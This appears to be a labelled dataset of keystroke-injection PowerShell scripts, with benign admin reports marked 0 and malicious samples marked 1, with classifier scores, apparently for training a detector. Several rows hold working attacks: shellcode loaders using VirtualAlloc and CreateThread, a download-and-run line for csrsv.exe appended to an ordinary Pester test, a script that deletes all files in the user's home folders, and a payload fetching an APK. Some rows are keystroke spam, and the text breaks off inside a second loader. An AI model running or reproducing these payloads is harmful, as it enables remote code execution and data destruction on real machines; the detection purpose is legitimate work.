enter",0,0,0.99996483,3.5147754e-05
win+r powershell enter  function Test-GetAllADGroups { $groups = Get-AzADGroup Assert-NotNull( enter $groups) foreach($group in $groups) { Assert-NotNull($group.DisplayName) Asse enter rt-NotNull($group.Id) enter enter,1,1,0.009817185,0.9901828
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_gmcnurpv"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.txt"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3687073e-05
win terminal enter open -a safari 'https://geektyper.com/blue/' enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop right left 3shift 1 6425798 backspace qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop0qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop up qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopalt f4qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuioqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuioph1642579qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop0qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuioqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuioppqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuioppqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop,1,1,7.085367e-05,0.9999292
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x6d,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.15984e-05,0.9999484
"win+r enter powershell enter enter enter $buildDir = ""$PSScriptRoot\build"" enter $ErrorActionPreference = 'Stop' enter enter if (Test-Path $buildDir) { enter Write-Verbose ""Removing build dir"" enter Remove-Item $buildDir -Recurse -Force -Confirm:$false -Verbose -ErrorAction 'Stop' enter } enter enter if (Test-Path ""$PSScriptRoot\Examples"") { enter Write-Verbose ""Removing all examples"" enter Remove-Item ""$PSScriptRoot\Examples"" -Recurse -Force -Confirm:$false -Verbose -ErrorAction 'Stop' enter } enter enter if (Test-Path ""$PSScriptRoot\images"") { enter Write-Verbose ""Removing images"" enter Remove-Item ""$PSScriptRoot\images"" -Recurse -Force -Confirm:$false -Verbose -ErrorAction 'Stop' enter } enter enter Write-Verbose ""Removing all Test Files"" enter Get-ChildItem $PSScriptRoot -Recurse -Filter *.Tests.ps1 | Remove-Item -Force -Verbose -ErrorAction 'Stop' enter enter",0,0,0.9999013,9.8687975e-05
"win+r powershell enter param ([String]$Path) try { $driveLetter = [char[]](70..89) | Where-Object { enter $_ -notin (Get-PSDrive).Name} | Select-Object -Last 1 $dir = New-Item $Path -I enter temType Directory -Force subst.exe ""$driveLetter`:"" $dir.Parent.FullName $e enter xitCode = $LASTEXITCODE enter enter",1,1,0.0009710205,0.99902904
"win+r enter powershell enter enter enter function Clear-PSFResultCache enter { enter enter [CmdletBinding(ConfirmImpact = 'Low', SupportsShouldProcess = $true, HelpUri = 'https://psframework.org/documentation/commands/PSFramework/Clear-PSFresultCache')] enter param ( enter enter ) enter enter if ($pscmdlet.ShouldProcess(""Result cache"", ""Clearing the result cache"")) enter { enter [PSFramework.ResultCache.ResultCache]::Clear() enter } enter } enter enter",0,0,0.99987304,0.00012697643
"win+r enter powershell enter enter enter Remove-Item ""$HOME\Videos\*"" -Exclude desktop.ini -Force enter Remove-Item ""$HOME\Downloads\*"" -Exclude desktop.ini -Force enter Remove-Item ""$HOME\Pictures\*"" -Exclude desktop.ini -Force enter Remove-Item ""$HOME\Music\*"" -Exclude desktop.ini -Force enter Remove-Item ""$HOME\Documents\*"" -Exclude desktop.ini -Force enter Remove-Item ""$HOME\Desktop\*"" -Exclude desktop.ini -Force enter enter $carpeta = ""$HOME\Desktop"" enter for ($i=1; $i -le 70; $i++) { enter $nombreArchivo = ""$i"" enter $rutaCompleta = Join-Path $carpeta $nombreArchivo enter New-Item -ItemType File -Path $rutaCompleta -Force enter } enter enter $carpeta = ""$HOME\Documents"" enter for ($i=1; $i -le 70; $i++) { enter $nombreArchivo = ""$i"" enter $rutaCompleta = Join-Path $carpeta $nombreArchivo enter New-Item -ItemType File -Path $rutaCompleta -Force enter } enter enter $carpeta = ""$HOME\Music"" enter for ($i=1; $i -le 70; $i++) { enter $nombreArchivo = ""$i"" enter $rutaCompleta = Join-Path $carpeta $nombreArchivo enter New-Item -ItemType File -Path $rutaCompleta -Force enter } enter enter $carpeta = ""$HOME\Pictures"" enter for ($i=1; $i -le 70; $i++) { enter $nombreArchivo = ""$i"" enter $rutaCompleta = Join-Path $carpeta $nombreArchivo enter New-Item -ItemType File -Path $rutaCompleta -Force enter } enter enter $carpeta = ""$HOME\Downloads"" enter for ($i=1; $i -le 70; $i++) { enter $nombreArchivo = ""$i"" enter $rutaCompleta = Join-Path $carpeta $nombreArchivo enter New-Item -ItemType File -Path $rutaCompleta -Force enter } enter enter $carpeta = ""$HOME\Videos"" enter for ($i=1; $i -le 70; $i++) { enter $nombreArchivo = ""$i"" enter $rutaCompleta = Join-Path $carpeta $nombreArchivo enter New-Item -ItemType File -Path $rutaCompleta -Force enter } enter enter",1,1,0.00015486346,0.99984515
unknown_key_action GUI b enter delay_medium enter unknown_key_action CTRL l enter delay_short enter https://x.x.x.x/your-app.apk enter delay_short enter enter enter delay_long enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter right enter delay_short enter enter enter delay_medium enter enter enter delay_short enter tab enter delay_short enter enter enter delay_short enter unknown_key_action GUI TAB enter delay_short enter enter enter delay_short enter right enter delay_short enter enter enter delay_short enter tab enter delay_short enter enter enter delay_short enter tab enter delay_short enter tab enter delay_short enter enter enter delay_short enter enter enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter tab enter delay_short enter enter enter delay_short enter enter enter delay_short enter unknown_key_action GUI a,1,1,5.663689e-05,0.9999434
"unknown_key_action ID 05ac:021e Apple:Keyboard enter delay_long enter unknown_key_action GUI SPACE enter delay_medium enter Terminal enter delay_medium enter enter enter delay_medium enter osascript -e 'tell application ""Terminal"" to set bounds of window 1 to {0, 0, 600, 400}' enter enter enter delay_medium enter osascript -e 'tell application ""Google Chrome"" to set bounds of window 1 to {600, 0, 1200, 400}' enter enter enter delay_medium enter osascript -e 'tell application ""Finder"" to set bounds of window 1 to {0, 400, 600, 800}' enter enter enter delay_medium enter osascript -e 'tell application ""TextEdit"" to set bounds of window 1 to {600, 400, 1200, 800}' enter enter",1,1,5.7099805e-05,0.9999429
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_2f5kfw00"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name ""*network*"" -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.txt"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.json"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 3."" enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4779187e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_4u2bdvpq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.json"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_100.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.464717e-05
"win+r enter powershell enter enter enter Describe ""Update-ModuleManifest tests"" -tags ""CI"" { enter enter BeforeEach { enter $testModulePath = ""testdrive:/module/test.psd1"" enter New-Item -ItemType Directory -Path testdrive:/module > $null enter } enter enter AfterEach { enter Remove-Item -Recurse -Force -ErrorAction SilentlyContinue testdrive:/module enter } enter enter It ""Update should not clear out NestedModules: <variation>"" -TestCases @( enter @{ variation = ""export with wildcards""; exportValue = ""*"" }, enter @{ variation = ""export without wildcards""; exportValue = ""@()""} enter ) { enter param($exportValue) enter enter New-Item -ItemType File -Path testdrive:/module/foo.psm1 > $null enter New-ModuleManifest -Path $testModulePath -NestedModules foo.psm1 -HelpInfoUri http://foo.com -AliasesToExport $exportValue -CmdletsToExport $exportValue -FunctionsToExport $exportValue -VariablesToExport $exportValue -DscResourcesToExport $exportValue enter $module = Test-ModuleManifest -Path $testModulePath enter $module.HelpInfoUri | Should -BeExactly ""http://foo.com/"" enter $module.NestedModules | Should -HaveCount 1 enter $module.NestedModules.Name | Should -BeExactly foo enter Update-ModuleManifest -Path $testModulePath -HelpInfoUri https://bar.org enter $module = Test-ModuleManifest -Path $testModulePath enter $module.HelpInfoUri | Should -BeExactly ""https://bar.org/"" enter $module.NestedModules | Should -HaveCount 1 enter $module.NestedModules.Name | Should -BeExactly foo enter } enter } enter enter",0,0,0.9999572,4.2826345e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_f2ef3cb8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 30 Name, Id, CPU, WorkingSet64 | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_handles_30.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.402829e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_gyibiyly"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName Application -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_100.json"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.json"") -Encoding UTF8 enter",0,0,0.99996614,3.3893437e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_yn7wn7m7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3791515e-05
"win+r powershell enter function Get-LogonHistory { enter param ( enter [string]$Computer = $env:COMPUTERNAME, enter [int]$Days = 1 enter ) enter $filterXml = "" enter <QueryList> enter <Query Id='0' Path='System'> enter <Select Path='System'> enter *[System[ enter Provider[@Name = 'Microsoft-Windows-Winlogon'] enter and enter TimeCreated[@SystemTime >= '$(date (date).AddDays(-$Days) -UFormat '%Y-%m-%dT%H:%M:%S.000Z')'] enter ]] enter </Select> enter </Query> enter </QueryList> enter "" enter $ELogs = Get-WinEvent -FilterXml $filterXml -ComputerName $Computer enter if ($ELogs) { enter $(foreach ($Log in $ELogs) { enter switch ($Log.id) { enter 7001 {$ET = 'Logon'} enter 7002 {$ET = 'Logoff'} enter default {continue} enter } enter New-Object PSObject -Property @{ enter Time = $Log.timecreated enter EventType = $ET enter User = (New-Object System.Security.Principal.SecurityIdentifier $Log.Properties.value.value).Translate([System.Security.Principal.NTAccount]) enter } enter }) | sort time -Descending enter } else { enter Write-Host ""Problem with $Computer."" enter Write-Host ""If you see a 'Network Path not found' error, try starting the Remote Registry service on that computer."" enter Write-Host 'Or there are no logon/logoff events (XP requires auditing be turned on)' enter } enter } enter",0,0,0.9998969,0.00010313024
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_svnztgpw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 15 ProcessName, Id, StartTime | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_handles_15.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.404575e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_uk53uwj6"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroup | enter Select-Object Name, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.txt"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.423478e-05
"win+r enter powershell enter enter enter Set-StrictMode -Version 'Latest' enter enter & (Join-Path -Path $PSScriptRoot 'Initialize-CarbonTest.ps1' -Resolve) enter enter $appPoolName = 'Carbon-Set-IisWebsiteID' enter $siteName = 'Carbon-Set-IisWebsiteID' enter enter Describe 'Set-IisWebsiteID' { enter BeforeEach { enter $testDir = Join-Path -Path $TestDrive.FullName -ChildPath ([IO.Path]::GetRandomFileName()) enter New-Item -Path $testDir -ItemType 'Directory' enter Install-IisAppPool -Name $appPoolName enter Install-IisWebsite -Name $siteName -Binding 'http/*:61664:carbon-test-set-iiswebsiteid.com' -Path $TestDir -AppPoolName $appPoolName enter } enter enter AfterEach { enter Remove-IisWebsite $siteName enter } enter enter It 'should change ID' { enter $currentSite = Get-IisWebsite -SiteName $siteName enter $currentSite | Should -Not -BeNullOrEmpty enter enter $currentSite.Start() enter enter $newID = [int32](Get-Random -Maximum ([int32]::MaxValue) -Minimum 1) enter Set-IisWebsiteID -SiteName $siteName -ID $newID -ErrorAction SilentlyContinue enter enter $updatedSite = Get-IisWebsite -SiteName $siteName enter $updatedSite.ID | Should -Be $newID enter $updatedSite.State | Should -Be 'Started' enter } enter enter It 'should detect duplicate IDs' { enter $alreadyTakenSiteName = 'AlreadyGotIt' enter $alreadyTakenSiteID = 4571 enter $alreadyTakenSite = Install-IisWebsite -Name $alreadyTakenSiteName ` enter -PhysicalPath $PSScriptRoot ` enter -Binding 'http/*:9983:' ` enter -SiteID $alreadyTakenSiteID ` enter -PassThru enter try enter { enter $currentSite = Get-IisWebsite -SiteName $siteName enter $siteName | Should -Not -BeNullOrEmpty enter enter $alreadyTakenSite.ID | Should -Not -Be $currentSite.ID enter enter $Error.Clear() enter Set-IisWebsiteID -SiteName $siteName -ID $alreadyTakenSiteID -ErrorAction SilentlyContinue enter $Error.Count | Should -Be 1 enter $Error[0].Exception.Message | Should -BeLike '*ID * already in use*' enter } enter finally enter { enter Uninstall-IisWebsite -Name $alreadyTakenSiteName enter } enter } enter enter It 'should handle non existent website' { enter $Error.Clear() enter Set-IisWebsiteID -SiteName 'HopefullyIDoNotExist' -ID 453879 -ErrorAction SilentlyContinue enter $Error.Count | Should -Be 1 enter $Error[0].Exception.Message | Should -BeLike '*Website * not found*' enter } enter enter It 'should support what if' { enter $currentSite = Get-IisWebsite -SiteName $siteName enter $newID = [int32](Get-Random -Maximum ([int32]::MaxValue) -Minimum 1) enter Set-IisWebsiteID -SiteName $siteName -ID $newID -WhatIf -ErrorAction SilentlyContinue enter $updatedsite = Get-IisWebsite -SiteName $siteName enter $updatedsite.ID | Should -Be $currentSite.ID enter } enter enter It 'should set same ID on same website' { enter $Error.Clear() enter $currentSite = Get-IisWebsite -SiteName $siteName enter $currentSite.Start() enter Set-IisWebsiteID -SiteName $siteName -ID $currentSite.ID -ErrorAction SilentlyContinue enter $Error.Count | Should -Be 0 enter $updatedSite = Get-IisWebsite -SiteName $siteName enter $updatedSite.ID | Should -Be $currentSite.ID enter $updatedSite.State | Should -Be 'Started' enter } enter enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.8915386e-05,0.9999411
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_fhym4nxc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_enabled_rules.csv"") -NoTypeInformation enter Write-Host ""Starting disk_checks section 2."" enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.json"") -Encoding UTF8 enter",0,0,0.999966,3.393431e-05
"win+r enter powershell enter enter enter function Set-InstalledModulesVariable enter { enter enter $script:PSGetInstalledModules = [ordered]@{} enter enter $modulePaths = @($script:ProgramFilesModulesPath, $script:MyDocumentsModulesPath) enter enter foreach ($location in $modulePaths) enter { enter enter $GetChildItemParams = @{ enter Path = $location enter Recurse = $true enter Force = $true enter Filter = $script:PSGetItemInfoFileName enter ErrorAction = 'SilentlyContinue' enter WarningAction = 'SilentlyContinue' enter } enter enter if($script:IsWindows) enter { enter $GetChildItemParams['Attributes'] = 'Hidden' enter } enter enter $moduleBases = Get-ChildItem @GetChildItemParams | Foreach-Object { $_.Directory } enter foreach ($moduleBase in $moduleBases) enter { enter $PSGetItemInfoPath = Microsoft.PowerShell.Management\Join-Path $moduleBase.FullName $script:PSGetItemInfoFileName enter if (Microsoft.PowerShell.Management\Test-Path $PSGetItemInfoPath) enter { enter $psgetItemInfo = DeSerialize-PSObject -Path $PSGetItemInfoPath enter if(-not (Get-Member -InputObject $psgetItemInfo -Name $script:InstalledLocation)) enter { enter Microsoft.PowerShell.Utility\Add-Member -InputObject $psgetItemInfo ` enter -MemberType NoteProperty ` enter -Name $script:InstalledLocation ` enter -Value $moduleBase.FullName enter } enter enter $package = New-SoftwareIdentityFromPSGetItemInfo -PSGetItemInfo $psgetItemInfo enter enter if($package) enter { enter $script:PSGetInstalledModules[""$($psgetItemInfo.Name)$($psgetItemInfo.Version)""] = @{ enter SoftwareIdentity = $package enter PSGetItemInfo = $psgetItemInfo enter } enter } enter } enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, 